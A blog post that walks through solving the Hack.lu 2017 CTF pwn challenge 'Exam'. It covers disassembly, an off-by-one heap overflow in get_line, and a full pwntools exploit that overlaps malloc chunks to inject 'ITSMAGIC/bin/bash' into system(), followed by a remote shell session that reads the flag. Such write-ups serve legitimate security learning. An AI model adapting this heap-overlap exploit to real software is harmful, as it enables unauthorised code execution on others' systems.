Press "Enter" to skip to content

First post : Hacklu 2017 CTF – Exam (Pwn 200)

Description :

Growing up and being bored in school, Samual Jr. takes a look at different cloud-driven options for exam preparation. Reaching for the stars takes more than just math, right?

Teach him a lesson!

nc flatearth.fluxfingers.net 1745


First steps :

Let’s take a quick look at the binary :

➜  exam ~/tools/checksec.sh/checksec --file exam
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	Fortified Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes	0		4	exam

➜  exam file exam
exam: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9be14b9fa354dbb844460d8d07daa6cd7c2ee40a, not stripped

Considering the hardening mechanisms in place (PIE, RELRO, Stack Canary, NX) and the low amount of points (200), we shouldn’t look for something too fancy like ROP in order to complete the challenge.

I went ahead and ran the program to see what it did :

➜  exam ./exam
Welcome to ExamSim! Here you can augment your exam preparation work with automated crib creation capabilities. Our algorithm will hand pick only the most important facts from your previous summaries to allow you to push your grades to the next level!
========
1. add summary
2. remove summary
3. study summary
4. create crib
5. tear crib in frustration
6. go to exam
>

Okay, it seems that the program allows us to create/remove summaries and cribs. When we take a deeper look into the binary, we learn that there is one function dedicated to each of these functionalities, most of which are self-explanatory, so I won’t go into detail just yet :

  • handle_add_summary : create up to 5 summaries (0x80 characters user input) ;
  • handle_remove_summary : delete a summary ;
  • handle_study_summary : display a summary ;
  • handle_create_crib : a single crib can be created, not clear what a crib is at first glance, I will have to take a dive into the ASM later on ;
  • handle_tear_crib : delete the crib if it exists ;
  • handle_exam : you can take an exam, the program allows you to take a summary, if you select one the program responds with

    Grasping into emptiness right there! Maybe we better stay at home today, shall we?

    then ends.

Alright, at this point, if we take a little step back and summarize what we know (which I obviously didn’t do), we can already have a good guess at the kind of vulnerability involved. Indeed, most of the program is about creating/deleting dynamically allocated user input, so we should pay attention for a possible buffer overflow in the heap.


Vulnerability hunting :

Let’s start with the handle_exam function with a little bit of disassembly :

Pretty straight-forward, as we noticed earlier, the function asks the user which summary he wants to bring to the exam :

You’re allowed to bring one summary. Which one is it?

then it gets interesting.

Indeed, once the user specifies which summary he’s taking to the exam, the following instructions checks if the first 8 bytes of the summary is equal to a hardcoded value 0x434947414d535449 (little endian for ITSMAGIC) and if so, the program then prints :

Cheeky little fella. Screw math, you deserve a straight A!

and takes the string following the keyword to use it as parameter for the system() function, which is basically what we want.

Dump of assembler code for function handle_exam:
   0x0000555555554e33 <+0>:	push   rbx
   0x0000555555554e34 <+1>:	lea    rdi,[rip+0x59d]        # 0x5555555553d8
   0x0000555555554e3b <+8>:	mov    eax,0x0
   0x0000555555554e40 <+13>:	call   0x555555554860 <printf@plt>
   0x0000555555554e45 <+18>:	mov    eax,0x0
   0x0000555555554e4a <+23>:	call   0x5555555549da <get_num>
   0x0000555555554e4f <+28>:	cmp    rax,0x4
   0x0000555555554e53 <+32>:	ja     0x555555554ea2 <handle_exam+111>
   0x0000555555554e55 <+34>:	lea    rdx,[rip+0x2011e4]        # 0x555555756040 <folder>
   0x0000555555554e5c <+41>:	mov    rbx,QWORD PTR [rdx+rax*8]
   0x0000555555554e60 <+45>:	test   rbx,rbx
   0x0000555555554e63 <+48>:	je     0x555555554ea2 <handle_exam+111>
   0x0000555555554e65 <+50>:	movabs rax,0x434947414d535449
   0x0000555555554e6f <+60>:	cmp    QWORD PTR [rbx],rax
   0x0000555555554e72 <+63>:	je     0x555555554e8b <handle_exam+88>
   0x0000555555554e74 <+65>:	lea    rdi,[rip+0x5dd]        # 0x555555555458
   0x0000555555554e7b <+72>:	call   0x555555554830 <puts@plt>
   0x0000555555554e80 <+77>:	lea    rdi,[rbx+0x8]
   0x0000555555554e84 <+81>:	call   0x555555554830 <puts@plt>
   0x0000555555554e89 <+86>:	jmp    0x555555554eae <handle_exam+123>
   0x0000555555554e8b <+88>:	lea    rdi,[rip+0x586]        # 0x555555555418
   0x0000555555554e92 <+95>:	call   0x555555554830 <puts@plt>
   0x0000555555554e97 <+100>:	lea    rdi,[rbx+0x8]
   0x0000555555554e9b <+104>:	call   0x555555554850 <system@plt>
   0x0000555555554ea0 <+109>:	jmp    0x555555554eae <handle_exam+123>
   0x0000555555554ea2 <+111>:	lea    rdi,[rip+0x5df]        # 0x555555555488
   0x0000555555554ea9 <+118>:	call   0x555555554830 <puts@plt>
   0x0000555555554eae <+123>:	mov    edi,0x0
   0x0000555555554eb3 <+128>:	call   0x5555555548b0 <exit@plt>
End of assembler dump.

Now that we see what we want, let’s find out how to get there by diving into the function handle_add_summary assembly :


As we can see in the disassembly, the hardcoded string ITSSTUDY (0x5944555453535449) is prepended to the user input at loc_AE1 :

   0x0000555555554ae1 <+59>:	mov    edi,0x88
   0x0000555555554ae6 <+64>:	call   0x555555554880 <malloc@plt>
   0x0000555555554aeb <+69>:	lea    rdx,[rip+0x20154e]        # 0x555555756040 <folder>
   0x0000555555554af2 <+76>:	mov    QWORD PTR [rdx+rbx*8],rax
   0x0000555555554af6 <+80>:	movabs rcx,0x5944555453535449
   0x0000555555554b00 <+90>:	mov    QWORD PTR [rax],rcx

then the function pushes the address of the buffer and 0x80 (most likely the remaining length of the summary) onto the stack and calls a function called get_line :

   0x0000555555554b1a <+116>:	lea    rax,[rip+0x20151f]        # 0x555555756040 <folder>
   0x0000555555554b21 <+123>:	mov    rdi,QWORD PTR [rax+rbx*8]
   0x0000555555554b25 <+127>:	add    rdi,0x8
   0x0000555555554b29 <+131>:	mov    esi,0x80
   0x0000555555554b2e <+136>:	call   0x555555554a32 <get_line>

It seems that we’re going to have to do some magic in order to replace the hardcoded ITSSTUDY by ITSMAGIC prepended to the beginning of every summary. Let’s see if we can find an overflow in the custom get_line function.


The function seems to read user input one byte at a time. When we take a closer look, we can see that it uses ebp as a counter. Here’s a simplified pseudo-code of the function :

ebp = 0
len = 0x80
while len >= ebp :
read(1)
ebp ++

For a trained vulnerability hunter (not me), there’s an obvious off-by-one overflow here. Now let’s see how we can take advantage of this.


The fun part :

I won’t go into the details of the overlapping technique that I used, it’s described better than I could ever do in Glibc Adventures: The Forgotten Chunks.

However, here are the basics :

A malloc chunk is represented by the following structure (defined in malloc/malloc.c):

The off-by-one byte overwrites the lower byte of the next chunk’s size field. With a little bit of magic, this allows us to produce overlapping chunks and thus, overwriting the first 8 bytes of a summary with arbitrary content.

Here’s a villoc capture illustrating my solution :


The solution

from pwn import *
import struct

context.binary = ELF('./exam')

f = None

def s(p, x):
	if args['DEBUG'] :
		print '[+] sending data :\n%s' %x
	if args['PAYLOAD'] :
		f.write(x)
	p.send(x)

def r(p, stop):
	data = p.recvuntil(stop)
	if args['DEBUG'] :
		print '[+] recieving data : \n%s' %data
	return data

if args['PAYLOAD'] :
	f = open('payload','w')

if args['REMOTE'] :
    p = remote('flatearth.fluxfingers.net', 1745)
else :
    p = process(context.binary.path)

# CREATION SUMMARY 0
print '[*] creating summary 0'
data = r(p, '> ')
s(p, '1\n')
data = r(p, '> ')
s(p, 'a\n')
data = r(p, '> ')

# CREATION DU CRIB
print '[*] creating crib'
s(p, '4\n')
data = r(p, '> ')

# CREATION SUMMARY 1
print '[*] creating summary 1'
s(p, '1\n')
data = r(p, '> ')
s(p, 'a\n')
data = r(p, '> ')

# DESTRUCTION SUMMARY 0
print '[*] deleting summary 0'
s(p, '2\n')
data = r(p, '> ')
s(p, '0\n')
data = r(p, '> ')

# CREATION SUMMARY 2, OVERLAP CRIB
print '[*] creating summary 2, crib size chunk is extended'
s(p, '1\n')
data = r(p, '> ')
s(p, 'A'*0x80 + '\xb1')
data = r(p, '> ')

# DESTRUCTION CRIB
print '[*] deleting crib'
s(p, '5\n')
data = r(p, '> ')

# CREATION SUMMARY 3, SUMMARY 1 ECRASE
print '[*] creating summary 3, summary 1 is overlapped, magic word replaced'
s(p, '1\n')
data = r(p, '> ')
s(p, 'A'*24 + 'ITSMAGIC/bin/bash\n')
data = r(p, '> ')

# EXAM
print '[*] exam with summary 1'
s(p, '6\n')
data = r(p, '> ')
s(p, '1\n')

if args['PAYLOAD'] :
	f.close()

p.interactive()

And here’s what it looks like when you actually execute it :

➜  exam python exam.py REMOTE
[*] '/home/m0rphine/hacklu/2017/exam/exam'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to flatearth.fluxfingers.net on port 1745: Done
[*] creating summary 0
[*] creating crib
[*] creating summary 1
[*] deleting summary 0
[*] creating summary 2, crib size chunk is extended
[*] deleting crib
[*] creating summary 3, summary 1 is overlapped, magic word replaced
[*] exam with summary 1
[*] Switching to interactive mode
Cheeky little fella. Screw math, you deserve a straight A!
$ id
uid=1000(chall) gid=1000(chall) groups=1000(chall)
$ ls
exam
flag
setup.sh
$ cat flag
FLAG{wh0_n33d5_m4th_when_ch34t1ng_1s_4n_0pt10n}

Be First to Comment

Leave a Reply

Your email address will not be published. Required fields are marked *